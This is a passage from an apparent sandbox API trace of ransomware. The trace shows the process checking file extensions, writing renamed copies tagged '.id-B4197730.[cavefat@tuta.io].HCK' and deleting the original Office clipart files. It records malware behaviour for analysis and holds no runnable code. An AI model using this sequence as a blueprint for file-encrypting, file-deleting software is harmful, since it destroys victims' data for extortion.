lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.163] SetEndOfFile (hFile=0x438) returned 1 [0226.163] CloseHandle (hObject=0x438) returned 1 [0226.163] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.163] SetEndOfFile (hFile=0x49c) returned 1 [0226.165] CloseHandle (hObject=0x49c) returned 1 [0226.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0226.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0226.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.166] lstrlenW (lpString=".doc") returned 4 [0226.166] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0226.166] lstrlenW (lpString=".docx") returned 5 [0226.166] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0226.166] lstrlenW (lpString=".pdf") returned 4 [0226.166] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0226.166] lstrlenW (lpString=".xls") returned 4 [0226.166] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0226.166] lstrlenW (lpString=".xlsx") returned 5 [0226.166] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0226.166] lstrlenW (lpString=".ppt") returned 4 [0226.166] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0226.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.166] lstrlenW (lpString=".zip") returned 4 [0226.166] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0226.166] lstrlenW (lpString=".rar") returned 4 [0226.166] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0226.166] lstrlenW (lpString=".bz2") returned 4 [0226.166] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0226.166] lstrlenW (lpString=".7z") returned 3 [0226.166] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0226.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.167] lstrlenW (lpString=".dbf") returned 4 [0226.167] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0226.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.167] lstrlenW (lpString=".1cd") returned 4 [0226.167] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0226.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.167] lstrlenW (lpString=".jpg") returned 4 [0226.167] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0226.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.167] lstrlenW (lpString=".doc") returned 4 [0226.167] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0226.167] lstrlenW (lpString=".docx") returned 5 [0226.167] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0226.167] lstrlenW (lpString=".pdf") returned 4 [0226.167] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0226.167] lstrlenW (lpString=".xls") returned 4 [0226.167] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0226.167] lstrlenW (lpString=".xlsx") returned 5 [0226.167] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0226.167] lstrlenW (lpString=".ppt") returned 4 [0226.167] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0226.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.167] lstrlenW (lpString=".zip") returned 4 [0226.167] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0226.167] lstrlenW (lpString=".rar") returned 4 [0226.167] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0226.167] lstrlenW (lpString=".bz2") returned 4 [0226.167] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0226.167] lstrlenW (lpString=".7z") returned 3 [0226.167] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0226.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.167] lstrlenW (lpString=".dbf") returned 4 [0226.167] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0226.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.167] lstrlenW (lpString=".1cd") returned 4 [0226.167] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0226.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0226.167] lstrlenW (lpString=".jpg") returned 4 [0226.167] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0226.167] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0226.167] lstrlenW (lpString="J0099152.JPG") returned 12 [0226.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.168] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11694) returned 1 [0226.168] CloseHandle (hObject=0x49c) returned 1 [0226.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220 [0226.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.169] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.169] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.169] GetLastError () returned 0x0 [0226.169] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x2dae, lpOverlapped=0x0) returned 1 [0226.171] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2db0, lpOverlapped=0x0) returned 1 [0226.172] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.172] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.172] SetEndOfFile (hFile=0x438) returned 1 [0226.172] CloseHandle (hObject=0x438) returned 1 [0226.172] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.172] SetEndOfFile (hFile=0x49c) returned 1 [0226.178] CloseHandle (hObject=0x49c) returned 1 [0226.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0226.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0226.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.179] lstrlenW (lpString=".doc") returned 4 [0226.179] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0226.179] lstrlenW (lpString=".docx") returned 5 [0226.179] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0226.179] lstrlenW (lpString=".pdf") returned 4 [0226.179] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0226.179] lstrlenW (lpString=".xls") returned 4 [0226.179] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0226.179] lstrlenW (lpString=".xlsx") returned 5 [0226.179] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0226.179] lstrlenW (lpString=".ppt") returned 4 [0226.179] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0226.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.180] lstrlenW (lpString=".zip") returned 4 [0226.180] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0226.180] lstrlenW (lpString=".rar") returned 4 [0226.180] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0226.180] lstrlenW (lpString=".bz2") returned 4 [0226.180] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0226.180] lstrlenW (lpString=".7z") returned 3 [0226.180] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0226.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.180] lstrlenW (lpString=".dbf") returned 4 [0226.180] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0226.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.180] lstrlenW (lpString=".1cd") returned 4 [0226.180] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0226.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.180] lstrlenW (lpString=".jpg") returned 4 [0226.180] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0226.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.180] lstrlenW (lpString=".doc") returned 4 [0226.180] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0226.180] lstrlenW (lpString=".docx") returned 5 [0226.180] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0226.180] lstrlenW (lpString=".pdf") returned 4 [0226.180] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0226.180] lstrlenW (lpString=".xls") returned 4 [0226.180] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0226.180] lstrlenW (lpString=".xlsx") returned 5 [0226.180] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0226.180] lstrlenW (lpString=".ppt") returned 4 [0226.180] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0226.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.180] lstrlenW (lpString=".zip") returned 4 [0226.180] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0226.180] lstrlenW (lpString=".rar") returned 4 [0226.180] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0226.180] lstrlenW (lpString=".bz2") returned 4 [0226.180] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0226.180] lstrlenW (lpString=".7z") returned 3 [0226.180] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0226.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.180] lstrlenW (lpString=".dbf") returned 4 [0226.180] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0226.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.180] lstrlenW (lpString=".1cd") returned 4 [0226.180] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0226.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0226.180] lstrlenW (lpString=".jpg") returned 4 [0226.180] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0226.180] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0226.181] lstrlenW (lpString="J0099153.WMF") returned 12 [0226.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.181] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=13874) returned 1 [0226.181] CloseHandle (hObject=0x49c) returned 1 [0226.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220 [0226.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.182] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.182] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.182] GetLastError () returned 0x0 [0226.182] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x3632, lpOverlapped=0x0) returned 1 [0226.372] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x3640, lpOverlapped=0x0) returned 1 [0226.373] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.373] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.373] SetEndOfFile (hFile=0x438) returned 1 [0226.647] CloseHandle (hObject=0x438) returned 1 [0226.647] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.647] SetEndOfFile (hFile=0x49c) returned 1 [0226.650] CloseHandle (hObject=0x49c) returned 1 [0226.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0226.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0226.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.653] lstrlenW (lpString=".doc") returned 4 [0226.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.653] lstrlenW (lpString=".docx") returned 5 [0226.653] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0226.653] lstrlenW (lpString=".pdf") returned 4 [0226.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.653] lstrlenW (lpString=".xls") returned 4 [0226.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.653] lstrlenW (lpString=".xlsx") returned 5 [0226.653] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0226.653] lstrlenW (lpString=".ppt") returned 4 [0226.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.653] lstrlenW (lpString=".zip") returned 4 [0226.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.653] lstrlenW (lpString=".rar") returned 4 [0226.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.653] lstrlenW (lpString=".bz2") returned 4 [0226.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.653] lstrlenW (lpString=".7z") returned 3 [0226.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.653] lstrlenW (lpString=".dbf") returned 4 [0226.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.653] lstrlenW (lpString=".1cd") returned 4 [0226.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.653] lstrlenW (lpString=".jpg") returned 4 [0226.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.653] lstrlenW (lpString=".doc") returned 4 [0226.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.653] lstrlenW (lpString=".docx") returned 5 [0226.653] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0226.653] lstrlenW (lpString=".pdf") returned 4 [0226.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.654] lstrlenW (lpString=".xls") returned 4 [0226.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.654] lstrlenW (lpString=".xlsx") returned 5 [0226.654] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0226.654] lstrlenW (lpString=".ppt") returned 4 [0226.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.654] lstrlenW (lpString=".zip") returned 4 [0226.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.654] lstrlenW (lpString=".rar") returned 4 [0226.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.654] lstrlenW (lpString=".bz2") returned 4 [0226.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.654] lstrlenW (lpString=".7z") returned 3 [0226.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.654] lstrlenW (lpString=".dbf") returned 4 [0226.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.654] lstrlenW (lpString=".1cd") returned 4 [0226.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0226.654] lstrlenW (lpString=".jpg") returned 4 [0226.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.654] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0226.654] lstrlenW (lpString="J0099154.JPG") returned 12 [0226.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.655] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6929) returned 1 [0226.655] CloseHandle (hObject=0x49c) returned 1 [0226.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220 [0226.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.656] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.656] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.657] GetLastError () returned 0x0 [0226.657] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1b11, lpOverlapped=0x0) returned 1 [0226.658] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0226.659] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.659] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.659] SetEndOfFile (hFile=0x438) returned 1 [0226.660] CloseHandle (hObject=0x438) returned 1 [0226.660] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.660] SetEndOfFile (hFile=0x49c) returned 1 [0226.662] CloseHandle (hObject=0x49c) returned 1 [0226.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 